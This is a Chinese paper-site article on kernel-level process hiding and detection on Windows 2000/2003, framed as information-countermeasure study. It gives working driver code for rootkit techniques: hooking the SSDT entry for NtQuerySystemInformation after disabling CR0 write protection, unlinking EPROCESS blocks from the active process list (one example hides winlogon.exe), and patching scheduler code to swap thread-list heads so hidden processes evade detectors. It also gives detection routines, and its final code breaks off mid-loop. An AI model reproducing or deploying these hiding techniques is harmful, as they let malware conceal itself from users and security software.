论文网首页|会计论文|管理论文|计算机论文|医药学|经济学论文|法学论文|社会学论文|文学论文|教育论文|理学论文|工学论文|艺术论文|哲学论文|文化论文|外语论文|论文格式
中国论文网

用户注册

设为首页

您现在的位置: 中国论文网 >> 计算机论文 >> 计算机应用论文 >> 正文 会员中心
 计算机应用论文   计算机理论论文   计算机网络论文   电子商务论文   软件工程论文   操作系统论文   通信技术论文
Windows2003 内核级进程隐藏、侦测技术
论文关键字: 内核 拦截 活动进程链表 系统服务派遣表 线程调度链 驱动程序简介  
  论文摘要:信息对抗是目前计算机发展的一个重要的方向,为了更好的防御,必须去深入的了解敌人进攻的招式。信息对抗促使信息技术飞速的发展。下面我选取了信息对抗技术的中一个很小一角关于windows内核级病毒隐藏技术和反病毒侦测技术作为议题详细讨论。 
  1.为什么选驱动程序 
  驱动程序是运行在系统信任的ring0环境下在代码,她拥有对系统任何软件和硬件的访问权限。这意味着内核驱动可以访问所有的系统资源,可以读取所有的内存空间,而且也被允许执行cpu的特权指令,如,读取cpu控制寄存器的当前值等。而处于用户模式下的程序如果试图从内核空间中读取一个字节或者试图执行像mov eax,cr3这样的汇编指令都会被立即终止掉。不过,这种强大的底线是驱动程序的一个很小的错误就会让整个系统崩溃。所以对隐藏和反隐藏技术来说都提供了一个极好的环境。但是又对攻击者和反查杀者提出了更高的技术要求。 
  2.入口例程driverentry 
  driverentry是内核模式驱动程序主入口点常用的名字,她的作用和main,winmain,是一样的。 
  extern "c" ntstatus driverentry(in pdriver_object driverobject, in punicode_string registrypath)
  {...}
  driverentry的第一个参数是一个指针,指向一个刚被初始化的驱动程序对象,该对象就代表你的驱动程序,driverentry的第二个参数是设备服务键的键名。WWw.11665.COMdriverentry函数返回一个ntstatus值。ntstatus实际就是一个长整型,但你应该使用ntstatus定义该函数的返回值而不是long,这样代码的可读性会更好。大部分内核模式支持例程都返回ntstatus状态代码,你可以在ddk头文件ntstatus.h中找到ntstatus的代码列表。 
  driverentry的作用主要就是创建设备对象,建立设备对象的符号链接,设置好各个类型的回调函数等。 
  例如: 
extern "c" 
ntstatus 
driverentry(in pdriver_object driverobject, in punicode_string registrypath) 

 driverobject->driverunload = driverunload;                                                             <--1 
 driverobject->driverextension->adddevice = adddevice; 
 driverobject->driverstartio = startio; 
 driverobject->majorfunction[irp_mj_pnp] = dispatchpnp;                                        <--2 
 driverobject->majorfunction[irp_mj_power] = dispatchpower; 
 driverobject->majorfunction[irp_mj_system_control] = dispatchwmi; 
 ... 

  在wdm中通过设置adddevice回调函数来创建设备对象。在nt驱动中在driverentry例程中创建设备对象和符号链接。 
  例如: 
  rtlinitunicodestring (&devicenameunicodestring, devicenamebuffer); //初始化设备名字
//创建设备 
ntstatus = iocreatedevice (driverobject,      
                            0, 
                            &devicenameunicodestring, 
                            ##deviceid, 
                            0, 
                            false, 
                            &deviceobject 
                            ); 
if ( nt_success ( ntstatus ) )  { 
    rtlinitunicodestring (&devicelinkunicodestring, devicelinkbuffer); //初始化符号链接名字 
//创建符号链接
    ntstatus = iocreatesymboliclink (&devicelinkunicodestring, &devicenameunicodestring);
    if ( !nt_success ( ntstatus ) ) { 
        iodeletedevice (deviceobject); //如果创建符号链接失败,删除设备
             return ntstatus; 


  建立符号链接的作用就是暴露一个给应用程序的接口,应用程序可以通过createfile api打开链接符号,得到一个语柄,和我们的驱动程序进行交互操作。
  3.unload例程 
  虽然各个驱动程序的unload例程不尽相同,但是它大致执行下列工作: 
  释放属于驱动程序的任何硬件。 
  从win32的名字空间移除符号连接名。 
  这个动作可以调用iodeletesymboliclink来实现。 
  使用iodeletedevice移除设备对象。 
  释放驱动程序持有的任何缓冲池等。 
void driverunload ( in pdriver_object pdriverobject ) 

pdevice_object pnextobj; 
// 循环每一个驱动过程控制的设备 
pnextobj = pdriverobject->deviceobject; 
while (pnextobj != null) 

//从设备对象中取出设备extension 
pdevice_extension pdevext = (pdevice_extension)extobj->deviceextension; 
// 取出符号连接名 
unicode_string plinkname = pdevext->ustrsymlinkname; 
iodeletesymboliclink(&plinkname); //删除符号连接名 
iodeletedevice(pnextobj); // 删除设备 
pnextobj = pnextobj->nextdevice; 


  4. 派遣例程 
  win2000的i/o请求是包驱动的,当一个i/o请求开始,i/o管理器先创建一个irp去跟踪这个请求,另外,它存储一个功能代码在irp的i/o堆栈区的majorfield域中来唯一的标识请求的类型。majorfield域是被i/o管理器用来索引驱动程序对象的majorfunction表,这个表包含一个指向一个特殊i/o请求的派遣例程的功能指针,如果驱动程序不支持这个请求,majorfunction表就会指向i/o管理器函数_iopinvaliddevicerequest,该函数返回一个错误给原始的调用者。驱动程序的作者有责任提供所有的驱动程序支持的派遣例程。所有的驱动程序必须支持irp_mj_create功能代码,因为这个功能代码是用来响应win32用户模式的createfile调用,如果不支持这功能代码,win32程序就没有办法获得设备的句柄,类似的,驱动程序必须支持irp_mj_close功能代码,因为它用来响应win32用户模式的closehandle调用。顺便提一下,系统自动调用closehandle函数,因为在程序退出的时候,所有的句柄都没有被关闭。 
 static ntstatus mydrvdispatch (in pdevice_object deviceobject, in pirp irp) 

    ntstatus status; 
    pio_stack_location irpsp; 
    //得到当前irp (i/o请求包) 
    irpsp = iogetcurrentirpstacklocation( irp ); 
    switch (irpsp->majorfunction) 
    { 
        case irp_mj_create: 
            dbgprint("irp_mj_create\n"); 
            irp->iostatus.status = status_success; 
            irp->iostatus.information = 0l; 
            break; 
        case irp_mj_close: 
            dbgprint("irp_mj_close\n"); 
            irp->iostatus.status = status_success; 
            irp->iostatus.information = 0l; 
            break; 
    } 
    iocompleterequest(irp, 0); 
    return status_success; 

  大部分的i/o管理器的操作支持一个标准的读写提取,irp_mj_device_control允许扩展的i/o请求,使用用户模式的deviceiocontrol函数来调用,i/o管理器创建一个irp,这个irp的majorfunction和iocontrolcode是被deviceiocontrol函数指定其内容。传递给驱动程序的ioctl遵循一个特殊的结构,它有32-bit大小,ddk包含一个方便的产生ioctl值的机制的宏,ctl_code。可以使用ctl_code宏来定义我们自己的ioctl。 
例如: 
#define ioctl_missledevice_aim  ctl_code \ 
( file_device_unknown, 0x801, method_buffered, file_access_any ) 
 ntstatus dispatchiocontrol( in pdevice_object pdo, in pirp pirp ) 

    ntstatus status = status_success;      
    pdevice_extension pde; 
    pvoid userbuffer; 
    ulong insize; 
    ulong outsize; 
    ulong controlcode;                 // ioctl请求代码 
    pio_stack_location pirpstack;   //堆栈区域存储了用户缓冲区信息 
     pirpstack = iogetcurrentirpstacklocation( pirp ); 
    // 取出ioctl请求代码 
    controlcode = pirpstack-> parameters.deviceiocontrol.iocontrolcode; 
    // 得到请求缓冲区大小 
    insize = pirpstack-> parameters.deviceiocontrol.inputbufferlength; 
    outsize = pirpstack-> parameters.deivceiocontrol.outputbufferlength; 
    //现在执行二次派遣 
    switch (controlcode) 
    { 
        case ioctl_missledeviceaim: 
       ...... 
        case ioctl_device_launch: 
        ...... 
        default:    // 驱动程序收到了未被承认的控制代码 
        status = status_invalid_device_request; 
    } 
    pirp->iostatus.information = 0; // 数据没有传输 
    iocompleterequest( pirp, io_no_increment ) ;      
    return status; 

  5.驱动程序的安装 
    sc管理器(即服务控制管理器)可以控制服务和驱动程序。 
    加载和运行一个服务需要执行的典型操作步骤: 
    1.调用openscmanager()以获取一个管理器句柄 
    2.调用createservice()来向系统中添加一个服务 
    3.调用startservice()来运行一个服务 
    4.调用closeservicehandle()来释放管理器或服务句柄 
 bool    installdriver() 

    sc_handle hscmanager = null; 
    hscmanager = openscmanager(null, null, sc_manager_all_access); 
    if(hscmanager == null) 
    { 
fprintf(stderr, "openscmanager() failed. --err: %d\n", getlasterror()); 
        return false; 
    } 
    sc_handle schservice; 
schservice = createservice( hscmanager, //scmanager database 
                           "mydriver",             // name of service 
                            "mydriver",             // name to display 
                           service_all_access,     // desired access 
                           service_kernel_driver,   // service type 
                            service_auto_start,    // start type 
                    service_error_normal, // error control type 
                            driverpath,              // service’s binary 
                            null,                 // no load ordering group 
                            null,                    // no tag identifier 
                            null,                    // no dependencies 
                            null,                    // localsystem account 
                            null                     // no password 
                            ); 
    if (schservice == null) 
    { 
        if(getlasterror() == error_service_exists) 
        { 
            printf("service has already installed!\n"); 
        } 
        printf("install driver false!"); 
        return false; 
    } 
    bool    nret = startservice(schservice, 0, null); 
    if(!nret) 
    { 
      if(getlasterror() == error_service_already_running) 
        { 
            printf("service is already running!\n"); 
            return false; } 
    } 
closeservicehandle(schservice); 
    closeservicehandle(hscmanager); 
    return true; 

  以上对驱动程序大致框架做了一个非常简单的介绍,这仅仅是驱动程序中的一个”hello world!”。驱动程序是相当复杂的,由于我们只是利用驱动程序的特权,对windows内核进行修改,所以就不对驱动驱动程序进行深入讨论了。 
  通过hook ssdt (system service dispath table) 隐藏进程 
  1.原理介绍:
  windows操作系统是一种分层的架构体系。应用层的程序是通过api来访问操作系统。而api又是通过ntdll里面的核心api来进行系统服务的查询。核心api通过对int 2e的切换,从用户模式转换到内核模式。2eh中断的功能是通过ntoskrnl.exe的一个函数kisystemservice()来实现的。在你使用了一个系统调用时,必须首先装载要调用的函数索引号到eax寄存器中。把指向参数区的指针被保存在edx寄存器中。中断调用后,eax寄存器保存了返回的结果。kisystemservice()是根据eax的值来决定哪个函数将被调用。而系统在ssdt中维持了一个数组,专门用来索引特定的函数服务地址。在windows 2000中有一个未公开的由ntoskrnl.exe导出的keservicedescriptortable变量,我们可以通过它来完成对ssdt的访问与修改。keservicedescriptortable对应于一个数据结构,定义如下: 
typedef struct systemservicedescriptortable
{
    uint    *servicetablebase;
    uint    *servicecountertablebase;
    uint    numberofservice;
    uchar    *parametertablebase;
}systemservicedescriptortable,*psystemservicedescriptortable; 
  其中servicetablebase指向系统服务程序的地址(ssdt),parametertablebase则指向sspt中的参数地址,它们都包含了numberofservice这么多个数组单元。在windows 2000 sp4中numberofservice的数目是248个。 
  我们的任务管理器,是通过用户层的api来枚举当前的进程的。ring3级枚举的方法: 
• psapi 
– enumprocesses() 
• toolhelp32 
– process32first() 
- process32next() 
  来对进程进行枚举。而她们最后都是通过ntquerysysteminformation来进行查询的。所以我们只需要hook掉ntquerysysteminformation,把真实ntquerysysteminformation返回的数进行添加或者是删改,就能有效的欺骗上层api。从而达到隐藏特定进程的目的。 
  2. hook 
  windows2000中ntquerysysteminformation在ssdt里面的索引号是0x97,所以只需要把ssdt中偏移0x97*4处把原来的一个dword类型的读出来保存一个全局变量中然后再把她重新赋值成一个新的hook函数的地址,就完成了hook。 
oldfuncaddress = keservicedescriptortable-> servicecountertablebase[0x97]; 
keservicedescriptortable-> servicecountertablebase[0x97] = newfuncaddress; 
  在其他系统中这个号就不一定一样。所以必须找一种通用的办法来得到这个索引号。在《undocument nt》中介绍了一种办法可以解决这个通用问题,从未有效的避免了使用硬编码。在ntoskrnl 导出的 zwquerysysteminformation中包含有索引号的硬编码: 
kd> u zwquerysysteminformation 
804011aa    b897000000      mov         eax,0x97 
804011af    8d542404        lea         edx,[esp+0x4] 
804011b3    cd2e            int         2e 
804011b5    c21000          ret         0x10 
  所以只需要把zwquerysysteminformation入口处的第二个字节取出来就能得到相应的索引号了。例如: 
id = *(pulong)((puchar)zwquerysysteminformation+1); 
realzwquerysysteminformation=((pservicedescriptortableentry)keservicedescriptortable)->servicetablebase[id]); 
((pservicedescriptortableentry)keservicedescriptortable)->servicetablebase[id] = hookzwquerysysteminformation; 
  3.对ntquerysysteminformation返回的数据进行删改 
ntquerysysteminformation的原型: 
ntquerysysteminformation( 
        in ulong systeminformationclass,   //查询系统服务类型 
        in pvoid systeminformation,        //接收系统信息缓冲区 
     in ulong systeminformationlength,   //接收信息缓冲区大小         out pulong returnlength);       //实际接收到的大小 
  ntquerysysteminformation可以对系统的很多状态进行查询,不仅仅是对进程的查询,通过systeminformationclass号来区分功能,当systeminformationclass等于5的时候是在进行进程的查询。此时返回的systeminformation 是一个 _system_processes结构。 
struct _system_processes 

    ulong nextentrydelta;   //下一个进程信息的偏移量,如果为0表示无一个进程信息 
    ulong threadcount;     //线程数量 
    ulong reserved[6];     // 
    large_integer createtime;      //创建进程的时间 
    large_integer usertime;         //进程中所有线程在用户模式运行时间的总和 
    large_integer kerneltime;      //进程中所有线程在内核模式运行时间的总和 
    unicode_string processname;     //进程的名字 
    kprioritybasepriority;         //线程的缺省优先级 
    ulong processid;                //进程id号 
    ulong inheritedfromprocessid;  //继承语柄的进程id号 
    ulong handlecount;              //进程打开的语柄数量    
    ulong reserved2[2];             //  
    vm_counters vmcounters;         //虚拟内存的使用情况统计 
    io_counters iocounters;         //io操作的统计,only for 2000 
    struct _system_threads threads[1]; //描述进程中各线程的数组 
}; 
  当nextentrydelta域等于0时表示已经到了进程信息链的末尾。我们要做的仅仅是把要隐藏的进程从链中删除。 
  4. 核心实现 
//系统服务表入口地址 
extern pservicedescriptortableentry keservicedescriptortable; 
ntstatus driverentry(in pdriver_object driverobject, in punicode_string registrypath) 

    …… 
    __asm{ 
        mov eax, cr0 
        mov cr0value, eax 
        and eax, 0fffeffffh //disablewriteprotect 
        mov cr0, eax 
    } 
    //取得原来zwquerysysteminformation的入口地址 
realzwquerysysteminformation=(realzwquerysysteminformation)(((pservicedescriptortableentry)keservicedescriptortable)->servicetablebase[*(pulong)((puchar)zwquerysysteminformation+1)] ); 
    //hook 
((pservicedescriptortableentry)keservicedescriptortable)->servicetablebase[*(pulong)((puchar)zwquerysysteminformation+1)]=hookfunc; 
    //enablewriteprotect 
    __asm 
    { 
        mov eax, cr0value 
        mov cr0, eax 
    } 
    …… 
    return status_success; 

  
void driverunload (in pdriver_object pdriverobject) 

    …… 
    //unhook恢复系统服务的原始入口地址 
((pservicedescriptortableentry)keservicedescriptortable)->servicetablebase[*(pulong)((puchar)zwquerysysteminformation+1)] = realzwquerysysteminformation; 
    …… 

  
ntstatus hookfunc( 
        in ulong systeminformationclass, 
        in pvoid systeminformation, 
        in ulong systeminformationlength, 
        out pulong returnlength) 

    ntstatus rc; 
    struct _system_processes *curr; 
    // 保存上一个进程信息的指针 
    struct _system_processes *prev = null; 
    //调用原函数 
    rc = (realzwquerysysteminformation) ( 
        systeminformationclass, 
        systeminformation, 
        systeminformationlength, returnlength); 
    if(nt_success(rc)) 
    { 
if(5 == systeminformationclass) 
//如果系统查询类型是systemprocessesandthreadsinformation 
        { 
            curr = (struct _system_processes *)systeminformation; 
            //加第一个偏移量得到第一个system进程的信息首地址 
            if(curr->nextentrydelta)((char *)curr += curr->nextentrydelta); 
            while(curr) 
            { 
if(rtlcompareunicodestring(&hide_process_name, &curr->processname, 1) == 0) 
                { 
                    //找到要隐藏的进程 
                    if(prev) 
                    { 
                        
                        if(curr->nextentrydelta) 
                        { 
                            //要删除的信息在中间 
                            prev->nextentrydelta += curr->nextentrydelta; 
                        } 
                        else 
                        { 
                            //要删除的信息在末尾 
                            prev->nextentrydelta = 0; 
                        } 
                    } 
                    else 
                    { 
                        if(curr->nextentrydelta) 
                        { 
                            //要删除的信息在开头 
                            (char *)systeminformation += curr->nextentrydelta; 
                        } 
                        else 
                        { 
                            systeminformation = null; 
                        } 
                    } 
                    //如果链下一个还有其他的进程信息,指针往后移 
                    if(curr->nextentrydelta) 
((char*)curr+=curr->nextentrydelta);                    else 
                    { 
                        curr = null; 
                        break; 
                    } 
                } 
                if(curr != null) 
                { 
                    //把当前指针设置成前一个指针,当前指针后移 
                    prev = curr; 
                    if(curr->nextentrydelta) 
((char*)curr+=curr->nextentrydelta); 
                    else curr = null; 
                } 
            } // end while(curr) 
        } 
    } 
    return rc; 

  通过ioctl和ring3级的应用程序通过deviceiocontrol(api)交互信息。ring3级的用户程序使用, 
  deviceiocontrol(handle,ioctl_event_msg,processname,processnamelen, 
  null,0,& bytesreturned,null)来通知驱动程序要隐藏的进程的名字。 
  枚举和修改活动进程链表来检测和隐藏进程 
  1. 介绍eprocess块(进程执行块) 
  每个进程都由一个eprocess块来表示。eprocess块中不仅包含了进程相关了很多信息,还有很多指向其他相关结构数据结构的指针。例如每一个进程里面都至少有一个ethread块表示的线程。进程的名字,和在用户空间的peb(进程环境)块等等。eprocess中除了peb成员块在是用户空间,其他都是在系统空间中的。  
  2. 查看eprocess结构 
kd> !processfields 
!processfields 
 eprocess structure offsets: 
    pcb:                               0x0 
    exitstatus:                        0x6c 
    lockevent:                         0x70 
    lockcount:                         0x80 
    createtime:                        0x88 
    exittime:                          0x90 
    lockowner:                         0x98 
    uniqueprocessid:                   0x9c 
    activeprocesslinks:                0xa0 
    quotapeakpoolusage[0]:             0xa8 
    quotapoolusage[0]:                 0xb0 
    pagefileusage:                     0xb8 
    commitcharge:                      0xbc 
    peakpagefileusage:                 0xc0 
    peakvirtualsize:                   0xc4 
    virtualsize:                       0xc8 
    vm:                                0xd0 
    debugport:                         0x120 
    exceptionport:                     0x124 
    objecttable:                       0x128 
    token:                             0x12c 
    workingsetlock:                    0x130 
    workingsetpage:                    0x150 
    processoutswapenabled:             0x154 
    processoutswapped:                 0x155 
    addressspaceinitialized:           0x156 
    addressspacedeleted:               0x157 
    addresscreationlock:               0x158 
    forkinprogress:                    0x17c 
    vmoperation:                       0x180 
    vmoperationevent:                  0x184 
    pagedirectorypte:                  0x1f0 
    lastfaultcount:                    0x18c 
    vadroot:                           0x194 
    vadhint:                           0x198 
    cloneroot:                         0x19c 
    numberofprivatepages:              0x1a0 
    numberoflockedpages:               0x1a4 
    forkwassuccessful:                 0x182 
    exitprocesscalled:                 0x1aa 
    createprocessreported:             0x1ab 
    sectionhandle:                     0x1ac 
    peb:                               0x1b0 
    sectionbaseaddress:                0x1b4 
    quotablock:                        0x1b8 
    lastthreadexitstatus:              0x1bc 
    workingsetwatch:                   0x1c0 
    inheritedfromuniqueprocessid:      0x1c8 
    grantedaccess:                     0x1cc 
    defaultharderrorprocessing         0x1d0 
    ldtinformation:                    0x1d4 
    vadfreehint:                       0x1d8 
    vdmobjects:                        0x1dc 
    devicemap:                         0x1e0 
    imagefilename[0]:                  0x1fc 
    vmtrimfaultvalue:                  0x20c 
    win32process:                      0x214 
  win32windowstation:                0x1c4 
  3. 什么是活动进程链表 
  eprocess块中有一个activeprocesslinks成员,它是一个plist_entry机构的双向链表。当一个新进程建立的时候父进程负责完成eprocess块,然后把activeprocesslinks链接到一个全局内核变量psactiveprocesshead链表中。 

  在pspcreateprocess内核api中能清晰的找到: 
  inserttaillist(&psactiveprocesshead,&process->activeprocesslinks); 
  当进程结束的时候,该进程的eprocess结构当从活动进程链上摘除。(但是eprocess结构不一定就马上释放)。 
  在pspexitprocess内核api中能清晰的找到: 
  removeentrylist(&process->activeprocesslinks); 
  所以我们完全可以利用活动进程链表来对进程进行枚举。 
  4. 进程枚举检测hook ssdt隐藏的进程。 
    事实上nactive api zwquerysysteminformation 对进程查询也是找到活动进程链表头,然后遍历活动进程链。最后把每一个eprocess中包含的基本信息返回(包括进程id名字等)。所以用遍历活动进程链表的办法能有效的把hook ssdt进行隐藏的进程轻而易举的查出来。但是psactiveprocesshead并没被ntoskrnl.exe 导出来,所以我们可以利用硬编码的办法,来解决这个问题。利用内核调试器livekd查得psactiveprocesshead的地址为: 0x8046e460.(在2000 sp4中得到的值) 
  kd> dd psactiveprocesshead l 2 
  dd psactiveprocesshead l 2 
  8046e460 81829780 ff2f4c80 
  plist_entry psactiveprocesshead = (plist_entry)0x8046e460; 
void displaylist() 

plist_entry list = psactiveprocesshead->blink; 
while( list != psactiveprocesshead ) 

        char* name = ((char*)list-0xa0)+0x1fc; 
        dbgprint("name = %s\n",name); 
        list=list->blink;               


  首先把list指向表头后的第一个元素。然后减去0xa0,因为这个时候list指向的并不是eprocess块的头,而是指向的它的activeprocesslinks成员结构,而activeprocesslinks在eprocess中的偏移量是0xa0,所以需要减去这么多,得到eprocess的头部。在eprocess偏移0x1fc处是进程的名字信息,所以再加上0x1fc得到进程名字,并且在dbgview中打印出来。利用hook ssdt隐藏的进程很容易就被查出来了。 
  5. 解决硬编码问题。 
  在上面我们的psactiveprocesshead是通过硬编码的形式得到的,在不同的系统中这值不一样。在不同的sp版本中这个值一般也不一样。这就给程序的通用性带来了很大的问题。下面就来解决这个psactiveprocesshead的硬编码的问题。 
    ntoskrnl.exe导出的psinitialsystemprocess 是一个指向system进程的eprocess。这个结构成员eprocess.activeprocesslinks.blink就是指向psactiveprocesshead的. 
kd> dd psinitialsystemprocess l 1 
dd psinitialsystemprocess l 1 
8046e450 818296e0 
kd> !process 818296e0 0 
!process 818296e0 0 
process 818296e0 sessionid: 0 cid: 0008    peb: 00000000 parentcid: 0000 
    dirbase: 00030000 objecttable: 8185d148 tablesize: 141. 
image: system 
可以看出由psinitialsystemprocess得到的818296e0正是指向system的eprocess. 
kd> dd 818296e0+0xa0 l 2 
dd 818296e0+0xa0 l 2 
81829780 814d1a00 8046e460 
上面又可以看出system eprocess的activeprocesslinks域的blink指向8046e460正好就是我们的psactiveprocesshead. 
  6. 删除活动进程链表实现进程隐藏 
  由于windows是基于线程调度的。所以如果我们把要隐藏的进程的eprocess块从活动进程链上摘除,就能有效的绕过基于通过活动进程链表检测进程的防御系统。因为是以线程为基本单位进行调度,所以摘除过后并不影响隐藏进程的线程调度。 
void delprocesslist() 

    plist_entry list = psactiveprocesshead->blink; 
    while( list != psactiveprocesshead ) 
    { 
        char* name = ((char*)list-0xa0)+0x1fc;      
        if ( !_stricmp(name,"winlogon.exe") ) 
        { 
            dbgprint("remove %s \n",name); 
            removeentrylist(list); 
        } 
        list=list->blink;               
    } 

  首先和上面的程序一样得到psactiveprocesshead 头的后面第一个eprocess块。然后和我们要隐藏的进程名字进行对比,如果不是指针延链下移动。如果是就把eprocess块从活动进程链上摘除。一直到遍历完一次活动进程的双向链表。当摘除指定进程的eprocess块后可以发现任务管理器里面的指定的进程消失了,然后又用上面的基于活动进程链表检测进程的程序一样的发现不到隐藏的进程。 
  基于线程调度链表的检测和隐藏技术 
  1. 什么是ethread和kthread块 
  windows2000是由执行程序线程(ethread)块表示的,ethread成员都是指向的系统空间,进程环境块(teb)除外。ethread块中的第一个结构体就是内核线程(kthread)块。在kthread块中包含了windows2000内核需要访问的信息。这些信息用于执行线程的调度和同步正在运行的线程。 
kd> !kthread 
struct   _kthread (sizeof=432) 
+000 struct   _dispatcher_header header 
+010 struct   _list_entry mutantlisthead 
+018 void     *initialstack 
+01c void     *stacklimit 
+020 void     *teb 
+024 void     *tlsarray 
+028 void     *kernelstack 
+02c byte     debugactive 
+02d byte     state 
+02e byte     alerted[2] 
+030 byte     iopl 
+031 byte     npxstate 
+032 char     saturation 
+033 char     priority 
+034 struct   _kapc_state apcstate 
+034    struct   _list_entry apclisthead[2] 
+044    struct   _kprocess *process 
+04c uint32   contextswitches 
+050 int32    waitstatus 
+054 byte     waitirql 
+055 char     waitmode 
+056 byte     waitnext 
+057 byte     waitreason 
+058 struct   _kwait_block *waitblocklist 
+05c struct   _list_entry waitlistentry 
+064 uint32   waittime 
+068 char     basepriority 
+069 byte     decrementcount 
+06a char     prioritydecrement 
+06b char     quantum 
+06c struct   _kwait_block waitblock[4] 
+0cc void     *legodata 
+0d0 uint32   kernelapcdisable 
+0d4 uint32   useraffinity 
+0d8 byte     systemaffinityactive 
+0d9 byte     powerstate 
+0da byte     npxirql 
+0db byte     pad[1] 
+0dc void     *servicetable 
+0e0 struct   _kqueue *queue 
+0e4 uint32   apcqueuelock 
+0e8 struct  _ktimer timer 
+110 struct   _list_entry queuelistentry 
+118 uint32   affinity 
+11c byte     preempted 
+11d byte     processreadyqueue 
+11e byte     kernelstackresident 
+11f byte     nextprocessor 
+120 void     *callbackstack 
+124 void     *win32thread 
+128 struct   _ktrap_frame *trapframe 
+12c struct   _kapc_state *apcstatepointer[2] 
+134 char     previousmode 
+135 byte     enablestackswap 
+136 byte     largestack 
+137 byte     resourceindex 
+138 uint32   kerneltime 
+13c uint32   usertime 
+140 struct   _kapc_state savedapcstate 
+158 byte     alertable 
+159 byte     apcstateindex 
+15a byte     apcqueueable 
+15b byte     autoalignment 
+15c void     *stackbase 
+160 struct   _kapc suspendapc 
+190 struct   _ksemaphore suspendsemaphore 
+1a4 struct   _list_entry threadlistentry 
+1ac char     freezecount 
+1ad char     suspendcount 
+1ae byte     idealprocessor 
+1af byte     disableboost 
  在偏移0x5c处有一个waitlistentry成员,这个就是用来链接到线程调度链表的。在偏移0x34处有一个apcstate成员结构,在apcstate中的process域就是指向当前线程关联的进程的kprocess块,由于kprocess块是eprocess块的第一个元素,所以找到了kprocess块指针也就是找到了eprocess块的指针。找到了eprocess就不用多少了,就可以取得当前线程的进程的名字,id号等。 
  2. 线程调度 
  在windows系统中,线程调度主要分成三条主要的调度链表。分别是kiwaitinlisthead, kiwaitoutlisthead,kidispatcherreadylisthead,分别是两条阻塞链,一条就绪链表,当线程获得cpu执行的时候,系统分配一, , 个时间片给线程,当发生一次时钟中断就从分配的时间片上减去一个时钟中断的值,如果这个值小于零了也就是时间片用完了,那么这个线程根据其优先级载入到相应的就绪队列末尾。kidispatcherreadylisthead是一个数组链的头部,在windows 2000中它包含有32个队列,分别对应线程的32个优先级。如果线程因为同步,或者是对外设请求,那么阻塞线程,让出cpu的所有权,加如到阻塞队列里面去。cpu从就绪队列里面,按照优先权的前后,重新调度新的线程的执行。当阻塞队列里面的线程获得所需求的资源,或者是同步完成就又重新加到就绪队列里面等待执行。 
  3.通过线程调度链表进行隐藏进程的检测 
void displaylist(plist_entry listhead) 

    plist_entry list = listhead->flink; 
    if ( list == listhead ) 
    { 
    // dbgprint("return\n"); 
        return; 
    } 
    plist_entry nextlist = list; 
    while ( nextlist != listhead ) 
    { 
        pkthread thread = ontaining_record(nextlist, kthread, waitlistentry); 
        pkprocess process = thread->apcstate.process; 
        peprocess peprocess = (peprocess)process; 
        dbgprint("imagefilename = %s \n",peprocess->imagefilename); 
        nextlist = nextlist->flink; 
    } 

  以上是对一条链进行进程枚举。所以我们必须找到kiwaitinlistheadkiwaitoutlistheadkidispatcherreadylisthead的地址,由于他们都没有被ntoskrnl.exe导出来,所以只有通过硬编码的办法给他们赋值。通过内核调试器,能找到(windows2000 sp4): 
plist_entry kiwaitinlisthead =          (plist_entry)0x80482258; 
plist_entry kidispatcherreadylisthead = (plist_entry)0x804822e0; 
plist_entry kiwaitoutlisthead =         (plist_entry)0x80482808; 
  遍历所有的线程调度链表。 
for ( i =0; i<32 ;i++ ) 

    displaylist(kidispatcherreadylisthead+i); 

displaylist(kiwaitinlisthead); 
displaylist(kiwaitoutlisthead); 
  通过上面的那一小段核心代码就能把删除活动进程链表的隐藏进程给查出来。也可以改写一个友好一点的驱动,加入ioctl,得到的进程信息把打印在dbgview中把它返回给ring3的应用程序,然后应用程序对返回的数据进行处理,和ring3级由psapi得到的进程对比,然后判断是不是有隐藏的进程。 
    4.绕过内核调度链表隐藏进程。 
  xfocus上sobeit提出了绕过内核调度链表进程检测。详情可以参见原文: 
  /articles/200404/693.html 
  由于现在的基于线程调度的检测系统都是通过内核调试器得硬编码来枚举所有的调度线程的,所以我们完全可以自己创造一个那三个调度链表头,然后把原链表头从链中断开,把自己的申请的链表头接上去。由于线程调度的时候会用到kifindreadythread等内核api,在kifindreadythread里面又会去访问kidispatcherreadylisthead,所以我完全可以把kifindreadythread中那段访问kidispatcherreadylisthead的机器码修改了,把原kidispatcherreadylisthead的地址改成我们新申请的头。 
kd> u kifindreadythread+0x48 
nt!kifindreadythread+0x48: 
804313db 8d34d5e0224880 lea esi,[nt!kidispatcherreadylisthead (804822e0)+edx*8] 
  很明显我们可以在机器码中看到e0224880,由于它是在内存中以byte序列显示的转换成dword就是804822e0就是我们kidispatcherreadylisthead的地址。所以我们要做的就是把[804313db+3]赋值成我们自己申请的一个链头。使其系统以后对原链表头的操作变化成对我们自己申请的链表头的操作。同理用到那三个链表头的还有一些内核api,所以必须找到他们在机器码中含有原表头地址信息的具体地址然后把它全部替换掉。不然系统调度就会出错.系统中用到kiwaitinlisthead的例程:kewaitforsingleobject、 kewaitformultipleobject、 kedelayexecutionthread、 kioutswapkernelstacks。用到kiwaitoutlisthead的例程和kiwaitinlisthead的一样。使用kidispatcherreadylisthead的例程有:kesetaffinitythread、kifindreadythread、kireadythread、kisetprioritythread、ntyieldexecution、kiscanreadyqueues、kiswapthread。 
  申请新的表头空间: 
pnewkiwaitinlisthead = (plist_entry)exallocatepool \ 
                        (nonpagedpool,sizeof(list_entry));
pnewkiwaitoutlisthead = (plist_entry)exallocatepool \ 
                        (nonpagedpool, sizeof(list_entry)); 
pnewkidispatcherreadylisthead = (plist_entry)exallocatepool \ 
                        (nonpagedpool, 32 * sizeof(list_entry)); 
 
  下面仅仅以pnewkiwaitinlisthead头为例,其他的表头都是一样的操作。 
  新调度链表的表头替换: 
  initializelisthead(pnewkiwaitinlisthead);   
  把原来的系统链表头摘除,把新的接上去: 
pfirstentry = pkiwaitinlisthead->flink;
plastentry = pkiwaitinlisthead->blink;
pnewkiwaitinlisthead->flink = pfirstentry;
pnewkiwaitinlisthead->blink = plastentry;
pfirstentry->blink = pnewkiwaitinlisthead;
plastentry->flink = pnewkiwaitinlisthead; 
   剩下的就是在原来的线程调度链表上做文章了使其基于线程调度检测系统看不出什么异端. 
for(;;) 

    initializelisthead(pkiwaitinlisthead); 
    for(pentry = pnewkiwaitinlisthead->flink; 
    pentry && pentry != pnewkiwaitinlisthead; 
    pentry = pentry->flink) 

pethread = (pethread)(((pchar)pentry)-0x5c); 
peprocess = (peprocess)(pethread->tcb.apcstate.process); 
        pid = *(pulong)(((pchar)peprocess)+0x9c); 
        if(pid == 0x8) 
                 continue; 
pfakeethread = exallocatepool(pagedpool,sizeof(fake_ethread)); 
        memcpy(pfakeethread, pethread,sizeof(fake_ethread)); 
